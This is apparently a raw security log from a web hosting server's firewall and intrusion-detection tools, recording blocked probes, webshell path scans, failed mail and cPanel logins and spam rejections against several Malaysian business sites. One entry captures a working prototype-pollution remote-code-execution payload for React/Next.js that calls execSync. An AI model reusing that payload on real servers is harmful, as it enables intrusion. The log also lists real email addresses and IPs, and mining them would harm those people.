IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/stay/17/110/1742856 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.120.59.125
country_id: 630336
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=80411523583765 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.80.227.163
country_id: 3865483
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=768301 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.196.177.18
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=503368 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.114.145.88
country_id: 587116
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=85791516782865 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.105.160.11
country_id: 3865483
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=509827 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.104.249.10
country_id: 2589581
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Session/Storage HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.72.14.225
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Session/Storage/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.14
country_id: 2750405
description:
Jan 17 01:48:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 01:52:48 H=([45.144.212.242]) [45.144.212.242]:51206 F=<no_reply@admin.com> rejected RCPT <enquiry@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.48.61
country_id: 2963597
description:
Jan 17 01:56:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.48.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-17 01:57:08 H=([77.83.39.106]) [77.83.39.106]:53181 F=<harshit.m@lizindia.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 01:57:15 H=([45.144.212.242]) [45.144.212.242]:61813 F=<no_reply@admin.com> rejected RCPT <info@mkmetal.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-17 01:58:04 H=([91.92.240.254]) [91.92.240.254]:51677 F=<enquiry@symphony-led.com> rejected RCPT <enquiry@symphony-led.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.47.81.9
country_id: 6252001
description:
2026-01-17 01:59:41 dovecot_login authenticator failed for H=ool-182f5109.dyn.optonline.net ([127.0.0.1]) [24.47.81.9]:55396: 535 Incorrect authentication data (set_id=info@iduta.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.105.181.14
country_id: 3865483
domain: www.ahfengineering.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahfengineering.com/cgi-bin HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.243.111
country_id: 3469034
description:
Jan 17 02:05:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.243.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.243.111
country_id: 3469034
description:
Jan 17 02:06:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.243.111 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.135.18.81
country_id: 272103
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hi/15/82/1531036 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.100.191.99
country_id: 1562822
description:
[2026-01-17 02:11:04 +0800] info [whostmgrd] 116.100.191.99 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 02:13:46 H=([45.144.212.242]) [45.144.212.242]:53036 F=<no_reply@admin.com> rejected RCPT <yuki@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.60.147.30
country_id: 895949
description:
Jan 17 02:13:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.60.147.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.60.147.30
country_id: 895949
description:
2026-01-17 02:14:00 dovecot_plain authenticator failed for H=(sogravig) [41.60.147.30]:40926: 535 Incorrect authentication data (set_id=alvin.ng@tujusetia.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 02:15:48 H=([45.144.212.242]) [45.144.212.242]:51317 F=<no_reply@admin.com> rejected RCPT <zainuddin@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 02:15:57 H=([45.144.212.242]) [45.144.212.242]:52268 F=<no_reply@admin.com> rejected RCPT <zaki@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.177.137.232
country_id: 294640
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=784798 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.54
country_id: 1149361
description:
2026-01-17 02:18:53 dovecot_login authenticator failed for H=([149.54.62.54]) [149.54.62.54]:47734: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 02:17:56 H=([45.144.212.242]) [45.144.212.242]:63967 F=<no_reply@admin.com> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: modsec
rule: 77093094
abuser: 13.222.167.41
country_id: 6252001
domain: acburn.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.62.54
country_id: 1149361
description:
Jan 17 02:18:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.62.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.195.211.98
country_id: 6252001
description:
Jan 17 02:20:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.195.211.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.195.211.98
country_id: 6252001
description:
2026-01-17 02:20:35 dovecot_plain authenticator failed for H=c-73-195-211-98.hsd1.nj.comcast.net (drostarde) [73.195.211.98]:58356: 535 Incorrect authentication data (set_id=hueitsyr.tee@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.29.114
country_id: 933860
description:
Jan 17 02:20:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.29.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.29.114
country_id: 933860
description:
Jan 17 02:20:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.29.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.236.43.254
country_id: 1814991
description:
Jan 17 02:21:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.236.43.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.236.43.254
country_id: 1814991
description:
2026-01-17 02:21:38 dovecot_login authenticator failed for H=([116.236.43.254]) [116.236.43.254]:54026: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.221.55.57
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-25.103.221.55.57||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.143.17.139
country_id: 1814991
description:
Jan 17 02:35:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.143.17.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.143.17.139
country_id: 1814991
description:
2026-01-17 02:35:21 dovecot_login authenticator failed for H=(ZWWm3wCTX) [36.143.17.139]:16084: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 02:35:23 H=([45.144.212.242]) [45.144.212.242]:54698 F=<no_reply@admin.com> rejected RCPT <sales@chs.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 02:37:29 H=([45.144.212.242]) [45.144.212.242]:52984 F=<no_reply@admin.com> rejected RCPT <info@pspoly.com.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 154.16.20.8
country_id: 953987
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-38.154.16.20.8||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.88.55.225
country_id: 6252001
description:
[2026-01-17 02:38:59 +0800] info [cpaneld] 35.88.55.225 - - "HEAD /apps HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.253
country_id: 690791
description:
Jan 17 02:42:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.196.75
country_id: 3469034
description:
Jan 17 02:42:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.196.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.156.192.34
country_id: 2186224
description:
Jan 17 02:42:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.156.192.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 17 02:42:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.4.79
country_id: 2300660
description:
Jan 17 02:42:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.4.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 17 02:47:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 02:48:41 H=([45.144.212.242]) [45.144.212.242]:54560 F=<no_reply@admin.com> rejected RCPT <marylinkoh@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/apm/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.141.249.164
country_id: 3469034
description:
Jan 17 02:54:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.141.249.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.141.249.164
country_id: 3469034
description:
Jan 17 02:54:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.141.249.164 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 46.8.22.227
country_id: 2017370
domain: cordage.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-57.46.8.22.227||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.181.244.239
country_id: 2017370
domain: cordage.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-57.185.181.244.239||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.3.48.216
country_id: 6252001
description:
[2026-01-17 02:58:33 +0800] info [webmaild] 45.3.48.216 - itdept@ajplantations.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.90.154.34
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/yaml/Parser.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.87.104.82
country_id: 1269750
description:
Jan 17 03:06:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.87.104.82 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.251.176.57
country_id: 2542007
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=8 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.65
country_id: 6252001
description:
2026-01-17 03:15:00 dovecot_plain authenticator failed for H=([10.35.215.10]) [140.228.24.65]:27086: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/radiation.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.179.251.1
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=381667 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.79.172
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-20.92.71.79.172||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.12.240.14
country_id: 2017370
description:
Jan 17 03:20:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.12.240.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.12.240.14
country_id: 2017370
description:
2026-01-17 03:21:00 dovecot_login authenticator failed for H=([85.12.240.14]) [85.12.240.14]:40624: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.151.47.8
country_id: 1168579
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=5 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.172.131.25
country_id: 3932488
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/maalloys.com.my/goal.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.174.105.244
country_id: 3595528
description:
2026-01-17 03:42:51 H=([181.174.105.244]) [181.174.105.244]:60030 F=<rafidah@pspoly.com.my> rejected RCPT <rafidah@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.174.105.244
country_id: 3595528
description:
2026-01-17 03:43:52 H=([181.174.105.244]) [181.174.105.244]:60000 F=<rafidah@pspoly.com.my> rejected RCPT <rafidah@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.174.105.244
country_id: 3595528
description:
2026-01-17 03:44:34 H=([181.174.105.244]) [181.174.105.244]:14266 F=<rafidah@pspoly.com.my> rejected RCPT <rafidah@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.174.105.244
country_id: 3595528
description:
2026-01-17 03:45:15 H=([181.174.105.244]) [181.174.105.244]:14266 F=<rafidah@pspoly.com.my> rejected RCPT <rafidah@pspoly.com.my>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.151
country_id: 732800
description:
Jan 17 03:50:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.77
country_id: 1269750
description:
Jan 17 03:49:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.146.71.67
country_id: 298795
description:
2026-01-17 03:50:02 dovecot_login authenticator failed for H=(cofreth.com.my) [159.146.71.67]:23725: 535 Incorrect authentication data (set_id=rsyafiqah.ong@cofreth.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.179.108
country_id: 3175395
description:
Jan 17 03:50:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.179.108 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.183.213.229
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=71521532675852 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.181.7
country_id: 1562822
domain: www.euratech.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.euratech.com.my/products_ABS.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/demos/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.228
country_id: 1269750
description:
Jan 17 03:56:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.228 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.172.244.26
country_id: 3351879
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kendek.com/product-detail.php?id=851956 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.231.47.251
country_id: 1269750
description:
Jan 17 03:58:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.231.47.251 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.127.250.63
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/school/19/500/1951353 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/eco.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
